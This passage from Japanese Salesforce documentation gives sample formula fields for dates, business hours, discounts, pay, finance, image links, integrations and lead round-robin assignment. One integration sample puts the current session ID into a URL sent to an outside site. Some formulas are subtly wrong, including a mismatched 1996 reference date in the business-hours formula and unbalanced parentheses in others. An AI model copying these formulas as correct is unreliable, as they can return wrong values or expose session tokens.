"France",
ShippingStreet & BR() &
ShippingPostalCode & " " &
ShippingCity & BR() &
ShippingCountry, "etc")

電話の国コード

この数式は、取引先責任者の郵送先住所の [国(郵送先)] に基づいて、電話の国コードを判断します。
CASE(MailingCountry,
"USA", "1",
"Canada", "1",
"France", "33",
"UK", "44",
"Australia", "61",
"Japan", "81",
"?")

書式設定のない電話番号
この数式は、北米の電話番号から括弧やダッシュ文字を削除します。一部の自動ダイヤラソフトウェアにはこ
の処理が必要です。
IF(Country_Code__c = "1", MID( Phone ,2, 3) & MID(Phone,7,3) & MID(Phone,11,4), Phone)

データ分類の数式サンプル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

サンプルに含まれている関数の使用方法についての詳細は、「数式の演算子と
関数」 (ページ 5502)を参照してください。
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大規模取引と小規模取引
この数式は、100 万ドルを超える取引には「Large Deal (大規模取引)」、100 万ドル以下の取引には「Small Deal (小
規模取引)」と表示します。
IF(Sales_Price__c > 1000000,
"Large Deal",
"Small Deal")

小規模取引
この数式は、価格と数量が 1 未満の場合に「Small (小)」と表示します。納入商品の価格または数量が 1 より大
きい場合、この項目は空白になります。
IF(AND(Price<1,Quantity<1),"Small", null)

商品分類
この数式は、Product_Type というカスタムテキスト項目の内容を確認し、「part」という言葉の含まれる商
品に対して「Parts」を返します。それ以外の場合は、"Service" と表示します。値は大文字と小文字の区別をす
るため、Product_Type項目に含まれるテキストが「Part」または「PART」の場合「Services」が表示されます。
IF(CONTAINS(Product_Type__c, "part"), "Parts", "Service")

日付数式のサンプル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

日付の日、月、年を確認する
DAY( date )、MONTH( date )、および YEAR( date ) 関数を使用すると、
各数値が返されます。この date は Date データ型の値 (TODAY() など) に置き換
えます。
これらの関数が日付/時間値をとる場合は、関数を使用する前に、DATEVALUE()

関数でこの値を日付に変換します。たとえば、DAY( DATEVALUE( date/time

)) に保存されます。

うるう年かどうかを確認する
この数式は、その年がうるう年かどうかを判断します。400 で割り切れる年と、4 で割り切れるが 100 では割り
切れないない年がうるう年に該当します。
OR(
MOD( YEAR( date ), 400 ) = 0,
AND(
MOD( YEAR( date ), 4 ) = 0,
MOD( YEAR( date ), 100 ) != 0

)
)
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日付がどの四半期にあたるかを確認する
標準的な四半期の場合は、次の数式を使用して、日付がどの四半期にあたるかを判断します。この数式は、現
在の月を 3 (各四半期の月数) で割り、直近の整数に切り上げて、date が属する四半期の数字 (1～4) を返しま
す。
CEILING( MONTH ( date ) / 3 )

会計年度の期首が 1 月以外の場合も数式はほぼ同じですが、1 月から期首までの月数を対象日の月から差し引
きます。下の例は、Q1 が 1 月ではなく 2 月に始まる場合に、日付がどの四半期にあたるかを確認する方法を示
しています。
CEILING( ( MONTH ( date ) - 1 ) / 3)

日付が現在の四半期にあたるかどうかを確認する場合は、その日付の年および四半期を TODAY() の年および
四半期と比較するチェックを追加します。
AND(
CEILING( MONTH( date ) / 3 ) = CEILING( MONTH( TODAY() ) / 3 ),
YEAR( date ) = YEAR( TODAY() )

)

日付が年度の何週目かを確認する
日付が年度の何週目にあたるかを確認するには、次の数式を使用します。
IF(
CEILING( ( date - DATE( YEAR( date ), 1, 1) + 1) / 7) > 52,
52,
CEILING( ( date - DATE( YEAR( date ), 1, 1) + 1) / 7)

)

現在の年度の経過日数を算出して 7 で割ると、現在何週目かがわかります。IF() ステートメントは、この数
式で返された週数が 52 を超えていないことを確認します。対象の日付がその年の 12 月 31 日の場合は、52 週を
超えて 1 月の第 1 週になる場合でも、この式では 52 が返されます。

2 つの日付が同月かどうかを確認する
たとえば、商談の完了日が当月かどうかを判断する入力規則など、2 つの日付が同月かどうかを確認するに
は、次の数式を使用します。
AND(
MONTH( date_1 ) == MONTH( date_2 ),
YEAR( date_1 ) == YEAR( date_2 )

)

月の最終日を確認する
月の最終日を確認する最も簡単な方法は、翌月の最初の日を調べ、そこから 1 日差し引くことです。
IF(
MONTH( date ) = 12,
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DATE( YEAR( date ), 12, 31 ),
DATE( YEAR( date ), MONTH ( date ) + 1, 1 ) - 1

)

月を数値でなく文字列で表示する
月を数値ではなくテキスト文字列で返すには、次の数式を使用します。
CASE(
MONTH( date ),
1, "January",
2, "February",
3, "March",
4, "April",
5, "May",
6, "June",
7, "July",
8, "August",
9, "September",
10, "October",
11, "November",
"December"

)

組織で複数の言語を使用している場合は、月の名前をカスタム表示ラベルに置換できます。
CASE(
MONTH( date ),
1, $Label.Month_of_Year_1,
2, $Label.Month_of_Year_2,
3, $Label.Month_of_Year_3,
4, $Label.Month_of_Year_4,
5, $Label.Month_of_Year_5,
6, $Label.Month_of_Year_6,
7, $Label.Month_of_Year_7,
8, $Label.Month_of_Year_8,
9, $Label.Month_of_Year_9,
10, $Label.Month_of_Year_10,
11, $Label.Month_of_Year_11,
$Label.Month_of_Year_12

)

日付の曜日を確認して表示する
日付値から曜日を判別するには、既知の日曜日 (1900 年 1 月 7 日など) を使用し、対象の日付 (TODAY() など) か
ら既知の日曜日を減算して差の日数を取得します。MOD()関数は、この差の日数を 7 で割った余りから、曜日
を 0 (日曜日) から 6 (土曜日) の数値で示します。下の数式は、この数値を算出して、その日のテキスト名を返
します。
CASE(
MOD( date - DATE( 1900, 1, 7 ), 7 ),
0, "Sunday",
1, "Monday",
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2, "Tuesday",
3, "Wednesday",
4, "Thursday",
5, "Friday",
"Saturday"

)

この数式は、1900 年 1 月 7 日以降の日付にしか適用できません。1900 年 1 月 7 日より古い日付を計算する場合
は、対象の一番古い日付よりも前の日曜日 (1800 年 1 日 5 日など) を使用して同じ処理を行います。
週が日曜日以外で始まる場合も、この数式を調整して使用できます。たとえば、週が月曜日に始まる場合は、
条件に 1900 年 1 月 8 日を使用します。この場合の数式は次のようになります。
CASE(
MOD( date - DATE( 1900, 1, 8 ), 7 ),
0, "Monday",
1, "Tuesday",
2, "Wednesday",
3, "Thursday",
4, "Friday",
5, "Saturday",
"Sunday"

)

月の名前を取得する数式と同様に、組織で複数の言語を使用している場合は、曜日の名前を
$Label.Day_of_Week_1 のような変数に置換できます。

特定の曜日の次回の日付を確認する
指定した日付以降に特定の曜日となる直近の日付を確認するには、date と day_of_week の差の日数を取得
します。この日数は 0 ～ 6 の数値で示され、0 が日曜日、6 が土曜日を表します。この差を現在の日付に加えれ
ば、day_of_weekの日付を確認できます。この数式の IF()ステートメントは、day_of_weekが date値の
曜日より前の場合に (date が木曜日で、day_of_week が月曜日の場合)、日数の差に 7 を加算します。
date + ( day_of_week - MOD( date - DATE( 1900, 1, 7 ), 7 ) )
+
IF(
MOD( date - DATE( 1900, 1, 7 ), 7 ) >= day_of_week,
7,
0

)

必要に応じて、day_of_week 値に定数または別の項目を代入することも可能です。

2 つの日付間の日数を確認する
date_1 と date_2 の 2 つの日付間の日数を確認するには、後の日付から前の日付を減算します (date_1 —

date_2)。
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この数式を多少変更すれば、日付が過去数日以内かどうかを判断できます。たとえば、ある日付項目が現在の
日付から 30 日より前の場合は true、それ以外の場合は false を返すようにします。この数式は次のようになりま
す。
TODAY() - 30 > date

2 つの日付間の営業日数を確認する
2 つの日付間の営業日数の計算は、合計経過日数の計算よりやや複雑です。この基本的なやり方は、参照する
過去の月曜日を選択し、その参照日から対象の日付までの経過週数と対象日の週の経過日数を確認します。こ
れらの値に 5 (週休 2 日の場合) を乗算し、両者の差から営業日数を算出します。
(5 * ( FLOOR( ( date_1 - DATE( 1900, 1, 8) ) / 7 ) ) + MIN( 5, MOD( date_1 - DATE( 1900,
1, 8), 7 ) ) )
-
(5 * ( FLOOR( ( date_2 - DATE( 1900, 1, 8) ) / 7 ) ) + MIN( 5, MOD( date_2 - DATE( 1900,
1, 8), 7 ) ) )

この数式では、date_1 が現在に近い日付で、date_2 が古い日付になります。週の営業日が 5 日より少ない
場合や多い場合は、数式内のすべての 5 を週の営業日数に置き換えます。

日付に日数、月数、年数を加算する
日付に特定の日数を加えるときは、日付に直接その日数を加算します。たとえば、日付に 5 日を加える場合の
数式は、date + 5 です。
日付に年数を加える場合もかなり簡単ですが、将来の日付が有効であることを確認する必要があります。たと
えば、2 月 29 日 (うるう年) に 5 年を加算すると無効な日付になります。次の数式は、date に num_years を加
算し、元の日付が 2 月 29 日でないかどうかと、将来の日付がうるう年でないかどうかを確認します。これら
の条件が true の場合は、将来の年の 3 月 1 日が返されます。true ではない場合は、日付が num_years 後の同じ
月と日に設定されます。
IF(
AND(
MONTH( date ) = 2,
DAY( date ) = 29,
NOT(
OR(
MOD( YEAR( date ), 400 ) = 0,
AND(
MOD( YEAR( date ), 4 ) = 0,
MOD( YEAR( date ), 100 ) != 0

)
)

)
),
DATE( YEAR( date ) + num_years, 3, 1),
DATE( YEAR( date ) + num_years, MONTH( date ), DAY( date ) )

)
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日付に月数を加算する場合は、各月の日数が異なり、また、毎年月が一巡するため多少複雑です。各月の日数
が異なるため、ある月では有効な日 (1 月 31 日) が、別の月では無効になる (2 月 31 日) ことがあります。この簡
単な解決策は、各月の日数を 365/12 日の概算で示すことです。
date + ( ( 365 / 12 ) * Number_months )

この概算式は便利ですが、正確な日付は返されません。たとえば、この方法で 4 月 30 日に 2 か月を加算する
と、6 月 30 日ではなく、6 月 29 日が返されます。どのような日付が返されるようにするかは、組織で選択でき
ます。たとえば、1 月 31 日に 1 か月を加算した場合に返される値を 2 月 28 日にすることも (翌月の末日)、3 月
2 日 (1 月 31 日から 30 日後) にすることも可能です。
この数式は次のとおりです。
• 将来の月が 2 月で、日が 28 日より後の場合は、3 月 1 日が返されます。数式のこの部分の処理は、うるう年

でもうるう年以外でも同じです。
• 将来の月が 4 月、6 月、9 月、11 月で、日が 30 日より後の場合は、翌月の最初の日が返されます。
• それ以外の場合、将来の月の同じ日が返されます。
この例の数式では、指定した日付に 2 か月を加算します。月末の日付の処理を変える場合は、次の数式で条件
を変更できます。
DATE(
YEAR( date ) + FLOOR( ( MONTH ( date ) + 2 - 1 ) / 12 ),
MOD( MONTH ( date ) + 2 - 1 +
IF( DAY ( date ) > CASE( MOD( MONTH( date ) + 2 - 1, 12 ) + 1,
2, 28,
4, 30,
6, 30,
9, 30,
11, 30,
31 ), 1, 0 ), 12 ) + 1,

IF( DAY( date ) > CASE( MOD( MONTH( date ) + 2 - 1, 12 ) + 1,
2, 28,
4, 30,
6, 30,
9, 30,
11, 30,
31 ),

1, DAY( date )
)

)

これらの数式を有効期限に使用する場合は、算出された日付より前に特定のアクションを完了させる目的で、
戻り値を 1 日差し引くことも考えられます。

日付に営業日を加算する
次の数式は、指定した date から 3 営業日後を確認します。
CASE(
MOD( date - DATE( 1900, 1, 7 ), 7 ),
3, date + 2 + 3,
4, date + 2 + 3,

5589

数式を使用した項目値の計算コードではなくてクリックによる Salesforce の拡張



5, date + 2 + 3,
6, date + 1 + 3,
date + 3

)

この数式は、date 項目値の曜日を確認します。日付が水、木、金曜日の場合は、週末を考慮して日付に 5 暦
日 (週末 2 日と週日 3 日) が加算されます。date が土曜日の場合は、さらに 4 暦日が必要です。それ以外の曜日
(日～火曜日) については、単に 3 日を加算します。この数式は、営業日を増減すれば簡単に調整できます。曜
日を確認する際のこうした日数の加算は、上記の数式の調整が必要な場合に役立つものと思われます。

日付/時間の時間、分、秒を確認する
日付/時間項目の時間、分、秒の数値を取得するには、次の数式を使用します。この TZoffset は、ユーザの
タイムゾーンと GMT の時差です。時間を 24 時間形式で確認する場合:

VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) )

時間を 12 時間形式で確認する場合:

IF(
OR(
VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) ) = 0,
VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) ) = 12

),
12,
VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) )
-
IF(
VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) ) < 12,
0,
12

)
)

分を確認する場合:

VALUE( MID( TEXT( date/time - TZoffset ), 15, 2 ) )

秒を確認する場合:

VALUE( MID( TEXT( date/time - TZoffset ), 18, 2 ) )

また、「AM」または「PM」の文字列を付ける場合は、次の数式を使用します。
IF(
VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) ) < 12,
"AM",
"PM"

)

時間を「HH:MM:SS A/PM」形式の文字列で返す場合は、次の数式を使用します。
IF(
OR(
VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) ) = 0,
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VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) ) = 12
),
"12",
TEXT( VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) )
-
IF(
VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) ) < 12,
0,
12

)
)

)
& ":" &
MID( TEXT( date/time - TZoffset ), 15, 2 )
& ":" &
MID( TEXT( date/time - TZoffset ), 18, 2 )
& " " &
IF(
VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) ) < 12,
"AM",
"PM"

)

数式項目で時間を処理する場合は、組織と GMT の時差を考慮する必要があります。この数式で使用するタイ
ムゾーンのオフセットについては、「日付/時間およびタイムゾーンの留意点」 (ページ5563)を参照してくださ
い。

日付/時間値間の経過時間を確認する
数値としての 2 つの日付値間の差を確認するには、一方の値から他方の値を減算します。date_1 — date_2

で日付間の差が返されます。
2 つの日付/時間値間の経過時間を確認する場合は、若干複雑になります。次の数式では、2 つの日付/時間値で
ある datetime_1 と datetime_2 間の差が、日、時間、分に換算されます。
IF(
datetime_1 - datetime_2 > 0 ,
TEXT( FLOOR( datetime_1 - datetime_2 ) ) & " days "
& TEXT( FLOOR( MOD( (datetime_1 - datetime_2 ) * 24, 24 ) ) ) & " hours "
& TEXT( ROUND( MOD( (datetime_1 - datetime_2 ) * 24 * 60, 60 ), 0 ) ) & " minutes",
""

)

2 つの日付/時間値間の営業時間数を確認する
2 つの日付/時間値間の営業時間数を確認する数式は、経過した営業日数を確認する数式を拡張したものです。
参照する日付/時間を使用する方法と原則的には同じで、この場合は、1900 年 1 月 8 日 16 時 GMT (午前 9 時 PDT)

を参照にして、対象の 2 つの日付とこの参照の間隔を確認します。次の数式は、結果の値を直近の時間に四捨
五入し、営業時間を午前 9 時から午後 5 時の 8 時間と想定しています。
ROUND( 8 * (

( 5 * FLOOR( ( DATEVALUE( date/time_1 ) - DATE( 1900, 1, 8) ) / 7) +
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MIN(5,
MOD( DATEVALUE( date/time_1 ) - DATE( 1900, 1, 8), 7) +
MIN( 1, 24 / 8 * ( MOD( date/time_1 - DATETIMEVALUE( '1900-01-08 16:00:00' ), 1 ) )

)
)
)

-
( 5 * FLOOR( ( DATEVALUE( date/time_2 ) - DATE( 1900, 1, 8) ) / 7) +
MIN( 5,
MOD( DATEVALUE( date/time_2 ) - DATE( 1996, 1, 1), 7 ) +
MIN( 1, 24 / 8 * ( MOD( date/time_2 - DATETIMEVALUE( '1900-01-08 16:00:00' ), 1) )

)
)
)
),

0 )

営業時間の長短に合わせて数式内の 8 を変更します。タイムゾーンが異なる場合や、始業が午前 9 時ではない
場合は、参照時刻を始業時間 (GMT) に変更します。詳細は、「日付/時間およびタイムゾーンの留意点」を参照
してください。

関連トピック:

数式での日付値および日付/時間値の使用
高度な数式項目の例
数式を作成する際のヒント

割引の数式サンプル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

サンプルに含まれている関数の使用方法についての詳細は、「数式の演算子と
関数」 (ページ 5502)を参照してください。

メンテナンスとサービス割引

この数式項目は、[Maintenance Amount (メンテナンス金額)]と [サービス金
額] の 2 つのカスタム通貨項目を使用します。メンテナンス金額とサービス金
額が商談の [金額] 標準項目の値と一致しない場合は、商談に「Discounted (割引
あり)」と表示します。一致する場合は、「Full Price (正規価格)」と表示します。
IF(Maintenance_Amount__c + Services_Amount__c <> Amount,
"Discounted",
"Full Price")

商談の割引額

この数式は、商品の [金額] と [割引金額] の差を計算します。[割引金額] は、カスタム通貨項目です。
Amount -

Discount_Amount__c
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商談の割引の切り上げ

この数式は、商談の割引金額を 2 桁の数字に切り上げるために使用します。この例は、[割引率] というカス
タムパーセント項目を使用した商談の数値数式項目です。
ROUND(Amount-Amount* Discount_Percent__c,2)

商談の承認済み割引
この数式は、商談に [承認済み割引] チェックボックスを追加します。条件ロジックを使用して、手数料を計算
する前に承認フラグの値を確認します。
IF(Discount_Approved__c, ROUND(Amount – Amount * DiscountPercent__c, 2), Amount)

従業員サービスの数式サンプル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

サンプルに含まれている関数の使用方法についての詳細は、「数式の演算子と
関数」 (ページ 5502)を参照してください。

ボーナス計算
この例は、従業員の総賃金にボーナス率を乗算したものか、企業の業績額を全
従業員で割った等分額のうち、どちらか低い方に基づき、従業員のボーナス額
を判断します。この数式は、[従業員数]にカスタム数値項目があること、[配当
率]にカスタムパーセント項目があること、および [粗利益]と企業の [パフォー
マンス] にカスタム通貨項目があることを前提としています。
MIN(Gross__c * Bonus_Percent__c,
Performance__c / Number_of_Employees__c)

従業員の確定拠出年金制度
この例での数式は、従業員向けの確定拠出年金制度で、従業員による拠出額の半分または 250 ドルのうち、ど
ちらか低いほうに基づいて上乗せする金額を判断します。この数式は、[拠出額] のカスタム通貨項目がある
ことを前提としています。
MIN(250, Contribution__c /2)

週の就労時間
この数式は、カスタムタブを使用して 1 日の就労時間の追跡を有効にします。週の就労時間を集計する数式項
目を使用します。
MonHours__c + TuesHours__c + WedsHours__c + ThursHours__c + FriHours__c

5593

数式を使用した項目値の計算コードではなくてクリックによる Salesforce の拡張



賃金総額
この数式は、所定の勤務時間に所定の賃金率を乗算したものに、残業時間に残業手当率を乗算したものを加算
して、賃金総額を算定します。
Total Pay =
IF(Total_Hours__c <= 40, Total_Hours__c * Hourly_Rate__c,
40 * Hourly_Rate__c +
(Total_Hours__c - 40) * Overtime_Rate__c)

経費追跡の数式サンプル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

サンプルに含まれている関数の使用方法についての詳細は、「数式の演算子と
関数」 (ページ 5502)を参照してください。

経費識別子
この数式は、「Expense- (支出-)」の後に出張名と支出番号を表示します。これ
は、支出数値カスタム項目を使用するテキスト数式項目です。

"Expense-" &
Trip_Name__c & "-" & ExpenseNum__c

移動距離の経費計算
この数式は、1 マイルあたり 35 セントで顧客サイトを訪問した場合の移動距離の経費を計算します。
Miles_Driven__c * 0.35

金融計算の数式サンプル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

サンプルに含まれている関数の使用方法についての詳細は、「数式の演算子と
関数」 (ページ 5502)を参照してください。

複利
この数式は、1 年あたり M 回の複利で、T 年後の利息を計算します。

Principal__c * ( 1 + Rate__c / M ) ^ ( T * M) )

連続複利
この数式は、連続複利で T 年後の累計利息を計算します。
Principal__c * EXP(Rate__c * T)
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コンサルタントコスト
この数式項目は通貨データ型であり、顧問料を 1 日 $1200 と仮定した場合に、顧問日数を 1200 倍した値を計算
します。[コンサルティング日数] はカスタム項目です。
Consulting_Days__c *

1200

粗利益

この数式は、単純な粗利益の計算を行います。この数式例では、[総売上] と [販売済み商品の費用] がカスタ
ム通貨項目です。
Total_Sales__c - Cost_of_Goods_Sold__c

粗利益率
この数式は、利益率に基づいて粗利益を計算します。
Margin_percent__c * Items_Sold__c * Price_item__c

支払期日インジケータ

この数式は、[支払期日] が空白の場合は常に、契約開始日の 5 日後の日付を返します。[支払期日] はカスタ
ム日付項目です。
(BLANKVALUE(Payment_Due_Date__c, StartDate +5)

支払状況
この数式は、支払期日が過ぎ、支払状況が「UNPAID (未払い)」かどうかを判断します。該当する場合は、
「PAYMENT OVERDUE (支払い遅延)」というテキストを返し、該当しない場合は、項目を空白のままにします。こ
の例では、契約での [支払期日]というカスタム日付項目と [支払いの状況]というテキストカスタム項目が使
用されます。
IF(
AND(Payment_Due_Date__c < TODAY(),
ISPICKVAL(Payment_Status__c, "UNPAID")),
"PAYMENT OVERDUE",
null )
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画像リンクの数式サンプル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

サンプルに含まれている関数の使用方法についての詳細は、「数式の演算子と
関数」 (ページ 5502)を参照してください。

Yahoo! Instant Messenger™ 画像
この数式は、取引先責任者またはユーザが現在 Yahoo! Instant Messenger にログイ
ンしているかどうかを示す画像を表示します。画像をクリックすると、Yahoo!

Instant Messenger ウィンドウが起動します。この数式は、[Yahoo 名]というカス
タムテキスト項目を使用して、取引先責任者またはユーザの Yahoo! ID を保存し
ます。
IF(ISBLANK(Yahoo_Name__c),"", HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c,
IMAGE("http://opi.yahoo.com/online?u=" & Yahoo_Name__c & "&m=g&t=0", " ")))

ケース優先度のフラグ
この数式は、ケース優先度を示す緑、黄、赤のいずれかのフラグ画像を表示します。
IMAGE(
CASE( Priority,
"Low", "/img/samples/flag_green.gif",
"Medium", "/img/samples/flag_yellow.gif",
"High", "/img/samples/flag_red.gif",
"/s.gif"),
"Priority Flag")

ケースの対応期間の色付き正方形

この数式は、[ケースの対応期間]カスタム数値項目の値に応じて、赤、黄、緑のいずれかの 30 x 30 ピクセル画
像を表示します。
IF( Case_Age__c > 20,
IMAGE("/img/samples/color_red.gif", "red", 30, 30),
IF( Case_Age__c > 10,
IMAGE("/img/samples/color_yellow.gif", "yellow", 30, 30),
IMAGE("/img/samples/color_green.gif", "green", 30, 30)
))

状況を示す交通信号

この数式は、[プロジェクトの状況]というカスタム選択リスト項目を使用して、状況を示す緑、黄、赤のいず
れかの交通信号画像を表示します。この数式をリストビューやレポートで使用すると、「Status Summary (状況
サマリー)」ダッシュボードビューを作成できます。
IMAGE(
CASE(Project_Status__c,
"Green", "/img/samples/light_green.gif",
"Yellow", "/img/samples/light_yellow.gif",
"Red", "/img/samples/light_red.gif",
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"/s.gif"),
"status color")

星による評価
この数式は、評価またはスコアを示す 1 ～ 5 個の星を表示します。
IMAGE(
CASE(Rating__c,
"1", "/img/samples/stars_100.gif",
"2", "/img/samples/stars_200.gif",
"3", "/img/samples/stars_300.gif",
"4", "/img/samples/stars_400.gif",
"5", "/img/samples/stars_500.gif",
"/img/samples/stars_000.gif"),
"rating")

Consumer Reports™ スタイルの色の付いた円による評価
この数式は、5 段階評価を示す色の付いた円を表示します (全体が赤 - 1、半分が赤 - 2、輪郭が黒 - 3、半分が黒
- 4、全体が黒 - 5)。
IMAGE(
CASE(Rating__c,
"1", "/img/samples/rating1.gif",
"2", "/img/samples/rating2.gif",
"3", "/img/samples/rating3.gif",
"4", "/img/samples/rating4.gif",
"5", "/img/samples/rating5.gif",
"/s.gif"),
"rating")

横棒によるスコア表示
この数式は、長さが数値スコアに比例する緑色の横棒を白い背景に表示します。この例では、棒の最大長は
200 ピクセルです。
IMAGE("/img/samples/color_green.gif", "green", 15, Industry_Score__c * 2) &
IMAGE("/s.gif", "white", 15,
200 - (Industry_Score__c * 2))

インテグレーションリンクの数式サンプル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

サンプルに含まれている関数の使用方法についての詳細は、「数式の演算子と
関数」 (ページ 5502)を参照してください。
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アプリケーション API リンク
この数式は、Salesforce 以外のアプリケーションへのリンクを作成し、パラメータを渡して、SOAP API 経由で
Salesforce に接続し、必要な行動を作成できるようにします。
HYPERLINK ("https://www.myintegration.com?sId=" & GETSESSIONID() & "?&rowID=" & Name &
"action=CreateTask","Create a Meeting Request")

重要: $Api.Session_ID と GETSESSIONID() では、同じ値 (現在のコンテキストの現在のセッションの
識別子) が返されます。このコンテキストは、グローバル変数または関数が評価される場所によって異な
ります。たとえば、カスタム数式項目でいずれかを使用し、その項目が Salesforce Classicの標準ページレイ
アウトに表示される場合、基本的な Salesforce セッションが参照されます。Visualforce ページで使用される
場合、その同じ項目 (または基礎となる変数か数式の結果) で、代わりに Visualforce セッションが参照され
ます。
セッションコンテキストは、要求のドメインに基づきます。つまり、セッションコンテキスト
は、.salesforce.com から .visual.force.com または .lightning.force.com など、ホスト名の
境界を越えるたびに変更されます。
各種コンテキストのセッション識別子と、セッション自体は異なります。コンテキスト間を移行すると、
古いセッションは新しいセッションで置き換えられ、古いセッションは無効になります。このときセッ
ション ID も変更されます。
通常、Salesforce ではコンテキスト間のセッションハンドオフが透過的に処理されますが、セッション ID

を渡す場合は、新しいコンテキストから $Api.Session_IDまたは GETSESSIONID()に再度アクセスし
て、有効なセッション ID にする必要がある場合もあります。
すべてのセッションが同じように作成されるわけではありません。特に、Lightning Experienceコンテキスト
で取得したセッションの権限は低いため、API にアクセスできません。これらのセッション ID を使用し
て、API コールを行うことはできません。

配送追跡のインテグレーション

この数式は、[配送方法]カスタム選択リスト項目の値に応じて、FedEx、UPS、または DHL の配送追跡 Web サイ
トへのリンクを作成します。この例で示す FedEx、UPS、および DHL Web サイトのパラメータは説明用であり、
すべての状況に適したパラメータを示すわけではありません。
CASE(Shipping_Method__c,
"Fedex",
HYPERLINK("http://www.fedex.com/Tracking?ascend_header=1&clienttype
=dotcom&cntry_code=us&language=english&tracknumbers= "& tracking_id__c,"Track"),
"UPS",
HYPERLINK("http://wwwapps.ups.com/WebTracking/processInputRequest?HTMLVersion
=5.0&sort_by=status&loc=en_US&InquiryNumber1= "& tracking_id__c & "&track.x=32&track.y=7",
"Track") ,
"DHL",
HYPERLINK("http://track.dhl-usa.com/TrackByNbr.asp?ShipmentNumber=" &
tracking_id__c,"Track"), "")
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Skype™ 自動ダイヤラのインテグレーション
この数式は、Skype VOIP 電話アプリケーション経由で電話番号を自動的にダイヤルする、リンク可能な電話番
号項目を作成します。デスクトップに Skype アプリケーション (Salesforce 以外が提供するサードパーティ製品)

をインストールする必要があります。
HYPERLINK("callto://+" & Country_Code__c & Phone_Unformatted__c, Phone)

リード管理の数式サンプル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

サンプルに含まれている関数の使用方法についての詳細は、「数式の演算子と
関数」 (ページ 5502)を参照してください。

リードの対応期間 (進行中のリード用)

この数式で、リードがオープンかどうかがチェックされ、オープンの場合は、
現在の日時から作成された日時を引いて、オープンにされてからの日数が計算
されます。結果は、オープンになっていた日数を整数に切り上げた値になりま
す。リードがオープンでない場合、この項目は空白になります。
IF(ISPICKVAL(Status,

"Open"), ROUND(NOW()-CreatedDate, 0), null)

リードデータの完全性

この数式は、営業担当が入力した特定のリード項目の割合 (%) を計算します。数式項目で、[Phone (電話)]

と [Email (メール)] の 2 つのカスタム数値項目の値を確認します。項目が空の場合は、「0」の値が返され
ます。各項目に値が含まれる場合はそれぞれ「1」の値が返され、この合計に 50 を乗算して、データを含む項
目の割合を示します。
(IF(Phone = "", 0, 1) + IF(Email = "", 0, 1) ) * 50

リードの採番

この数式は、[リード番号] という自動採番項目にあるテキスト値に対応する数値を返します。ラウンドロビ
ン方式 (順次) やその他のルーティングの目的で、計算に [リード番号] 項目を使用する場合に有用です。自動
採番項目はテキスト項目のため、数値計算を行うためには数値に変換する必要があります。
VALUE(Lead_Number__c)

ケースまたはリードのラウンドロビン方式 (順次) 割り当て
次の例は、リードキューが 3 つあり、各キューに同数の受信リードを割り当てる場合の数式です。ケースも同
様の数式を使用して割り当てることができます。
MOD(VALUE(Lead_Number__c),

3)

この数式は、[Round_Robin_ID] という数式項目用の数式で、各リードに 0、1、または 2 を割り当てます。この数
式は、[リード番号]というカスタム自動採番項目を使用し、1 から始まる一意の番号を各リードに割り当てま
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す。MOD 関数は、リード数を、利用可能なリードキューの数 (この例では 3) で割り、0、1、または 2 の余りを
返します。この数式項目の値をリードの割り当てルールで使用して、リードレコードを異なるキューに割り当
てます。次に例を示します。
• Round_Robin_ID = 0 は、キュー A に割り当てられます。
• Round_Robin_ID = 1 は、キュー B に割り当てられます。
• Round_Robin_ID = 2 は、キュー C に割り当てられます。

総計値の数式サンプル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

サンプルに含まれている関数の使用方法についての詳細は、「数式の演算子と
関数」 (ページ 5502)を参照してください。

温度変換
この数式は、摂氏温度を華氏温度に変換します。

1.8 * degrees_celsius__c + 32

単位換算
この数式は、キロメータをマイルに換算します。
Miles__c/.621371192

商談管理の数式サンプル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

サンプルに含まれている関数の使用方法についての詳細は、「数式の演算子と
関数」 (ページ 5502)を参照してください。

商品の期待収益
この数式は、成立の確度がそれぞれ異なる複数の商品の総収益を計算します。

ProductA_probability__c * ProductA_revenue__c + ProductB_probability__c * ProductB_revenue__c

メンテナンスの計算

この数式は、メンテナンス料を年間ライセンス料の 20% として計算します。[Maintenance Years (メンテ
ナンス年数)] は、商談のカスタム項目です。
Amount * Maint_Years__c * 0.2
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登録ベースで計算した月額
この数式は、月間登録料に登録期間を乗じた商談金額を計算します。
Monthly_Amount__c * Subscription_Months__c

毎月の値
この数式は、年間の合計値を 12 か月に分割します。
Total_value__c / 12

商談の追加費用

この数式は、商品の[金額]、メンテナンス金額、およびサービス料金の合計を計算します。[Maint 量] と
[サービス料金] はカスタム通貨項目です。
Amount + Maint_Amount__c +

Services_Amount__c

商談の分類

この数式は、条件ロジックを使用して、[金額] 標準項目の値を基に [Opportunity category (商談カテゴ
リ)] テキスト項目に自動入力します。金額が 1500 ドル未満の商談は「Category 1 (カテゴリ 1)」、1500～10000

